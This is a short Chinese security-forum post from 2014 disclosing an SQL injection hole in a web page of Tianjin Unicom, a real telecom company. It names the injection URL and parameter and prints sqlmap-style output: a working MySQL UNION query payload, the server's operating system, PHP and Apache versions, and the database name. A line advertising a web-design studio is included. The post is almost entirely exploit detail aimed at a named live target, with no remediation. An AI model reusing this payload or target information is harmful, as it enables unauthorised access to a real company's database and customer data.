天津联通网站存在SQL注入漏洞下载

来源：黑吧安全网　浏览：1085次　时间：2014-04-28
做网站找雨过天晴工作室

注入点：

http://www.tj10010.com:8080/wopai/confirmnumber?number=

DB：

 

Place: GET

Parameter: number

    Type: UNION query

    Title: MySQL UNION query (NULL) - 3 columns

    Payload: number=-1345' UNION ALL SELECT CONCAT(0x7166636971,0x6a664c584f6366714272,0x7178676671),NULL,NULL#

---

web server operating system: Windows

web application technology: PHP 5.3.5, Apache 2.2.17

back-end DBMS: MySQL 5

current database:    'webshop'